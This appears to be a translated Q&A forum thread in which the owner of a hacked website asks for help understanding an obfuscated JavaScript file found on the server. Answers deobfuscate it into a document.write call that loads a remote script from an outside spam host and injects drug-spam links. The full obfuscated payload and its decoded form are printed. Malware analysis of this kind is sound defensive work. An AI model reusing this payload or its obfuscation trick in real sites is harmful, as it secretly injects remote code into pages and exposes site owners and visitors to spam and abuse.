非常有趣的Javascript混淆。帮助理解它

时间:2013-12-12 04:29:33

标签: javascript security obfuscation deobfuscation

我发现我的一个网站被黑了,经过调查,我看了一个上传的javasript文件,我无法相信它实际上是因为疯狂的混淆而达到了目的。

我对它很感兴趣,我需要知道这到底是怎么回事。如果有人能提供任何非常感谢的信息!另外,这将帮助我找到我服务器上其他隐藏的黑客文件!

以下是内容:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+".\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"(\\\"<\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.$__+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"=\\\\\\\"\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"://"+$.$$_$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+"-\\"+$.__$+$.$$_+$._$$+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$$_+$.$$_+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.___+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\"+$.__$+$.$$_+$._$$+"/"+$.__+"\\"+$.__$+$.$$_+$._$_+$.$_$_+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+$.$$_$+$._$+(![]+"")[$._$_]+"/\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$$_+$.$_$$+$.$_$_+"\\"+$.__$+$.$$_+$._$_+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"\\\\\\\"></\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+">\\\");"+"\"")())();

2 个答案:

答案 0 :(得分:9)

首先,添加一些空格:

$ = ~ [];
$ = {
    ___: ++$,
    $$$$: (![] + "")[$],
    __$: ++$,
    $_$_: (![] + "")[$],
    _$_: ++$,
    $_$$: ({} + "")[$],
    $$_$: ($[$] + "")[$],
    _$$: ++$,
    $$$_: (!"" + "")[$],
    $__: ++$,
    $_$: ++$,
    $$__: ({} + "")[$],
    $$_: ++$,
    $$$: ++$,
    $___: ++$,
    $__$: ++$
};
$.$_ = ($.$_ = $ + "")[$.$_$]
    + ($._$ = $.$_[$.__$])
    + ($.$$ = ($.$ + "")[$.__$])
    + ((!$) + "")[$._$$]
    + ($.__ = $.$_[$.$$_])
    + ($.$ = (!"" + "")[$.__$])
    + ($._ = (!"" + "")[$._$_])
    + $.$_[$.$_$]
    + $.__
    + $._$
    + $.$;
$.$$ = $.$
    + (!"" + "")[$._$$]
    + $.__
    + $._
    + $.$
    + $.$$;
$.$ = ($.___)[$.$_][$.$_];
$.$($.$(
    $.$$
    + "\"" + $.$$_$ + $._$ + $.$$__ + $._
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_
    + "\\" + $.__$ + $.$_$ + $.$$_ + $.__
    + ".\\" + $.__$ + $.$$_ + $.$$$
    + "\\" + $.__$ + $.$$_ + $._$_
    + "\\" + $.__$ + $.$_$ + $.__$ + $.__ + $.$$$_
    + "(\\\"<\\" + $.__$ + $.$$_ + $._$$ + $.$$__
    + "\\" + $.__$ + $.$$_ + $._$_
    + "\\" + $.__$ + $.$_$ + $.__$
    + "\\" + $.__$ + $.$$_ + $.___ + $.__
    + "\\" + $.$__ + $.___
    + "\\" + $.__$ + $.$$_ + $._$$
    + "\\" + $.__$ + $.$$_ + $._$_ + $.$$__
    + "=\\\\\\\"\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__
    + "\\" + $.__$ + $.$$_ + $.___ + "://" + $.$$_$
    + "\\" + $.__$ + $.$_$ + $.$$_
    + "\\" + $.__$ + $.$$_ + $._$$
    + "-\\" + $.__$ + $.$$_ + $._$$ + $.$$$_
    + "\\" + $.__$ + $.$$_ + $._$_
    + "\\" + $.__$ + $.$$_ + $.$$_ + $.$$$_
    + "\\" + $.__$ + $.$$_ + $._$_
    + "\\" + $.__$ + $.$_$ + $.___ + $._$
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "." + $.$$__ + $._$
    + "\\" + $.__$ + $.$_$ + $.$_$
    + "/\\" + $.__$ + $.$$_ + $._$$ + $.$$__
    + "\\" + $.__$ + $.$$_ + $._$_
    + "\\" + $.__$ + $.$_$ + $.__$
    + "\\" + $.__$ + $.$$_ + $.___ + $.__
    + "\\" + $.__$ + $.$$_ + $._$$
    + "/" + $.__
    + "\\" + $.__$ + $.$$_ + $._$_ + $.$_$_
    + "\\" + $.__$ + $.$_$ + $.$_$ + $.$_$_ + $.$$_$ + $._$ + (![] + "")[$._$_]
    + "/\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$_$ + $.__$ + $.$$_$ + $.$$$_ + $.$_$$ + $.$_$_
    + "\\" + $.__$ + $.$$_ + $._$_ + ".\\" + $.__$ + $.$_$ + $._$_
    + "\\" + $.__$ + $.$$_ + $._$$
    + "\\\\\\\"></\\"
    + $.__$ + $.$$_ + $._$$ + $.$$__
    + "\\" + $.__$ + $.$$_ + $._$_
    + "\\" + $.__$ + $.$_$ + $.__$
    + "\\" + $.__$ + $.$$_ + $.___ + $.__
    + ">\\\");"
    + "\""
)())();

<强> 1 除了最后一个语句之外的所有内容都是创建对象$,其值主要是数字和字符串,例如"f"8"return"

然而,特别重要的是$.$,即Function。调用Function(s)会创建一个正文为s的函数。

例如,Function('return 1;')会返回function() { return 1; }

基本上,Function(s)()(或在这种情况下,$.$(s)())相当于eval(s)

<强> 2 最后一个语句中的所有字符串连接都创建一个字符串。

return"docu\155e\156t.\167\162\151te(\"<\163c\162\151\160t\40\163\162c=\\\"\150tt\160://d\156\163-\163e\162\166e\162\150o\155e.co\155/\163c\162\151\160t\163/t\162a\155adol/\163\151deba\162.\152\163\\\"></\163c\162\151\160t>\");\"

第3 当使用$.$进行评估时返回为字符串

document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>");

<强> 4 在此结果上第二次调用$.$可以完成攻击。

此代码显然旨在通过不使用evalFunctionfunction或任何HTML实体(如<)来显示为无害。

Function的双重调用,IMO不是必需的,但我想它会进一步混淆代码。

现在,关于你的最后一个问题,你打算运行第三方Javascript吗?如果是这样,我所知道的唯一健全的框架是Google Caja

编辑:这似乎是jjencode

的结果
document.write("<script src=\"http://dns-serverhome.com/scripts/tramadol/sidebar.js\"></script>");

jjencode甚至可以选择返回回文混淆。

答案 1 :(得分:1)

我在控制台中运行它 - 它似乎用试图销售毒品的垃圾链接取代网站的HTML - “Generic Viagra $ 108”等。

enter image description here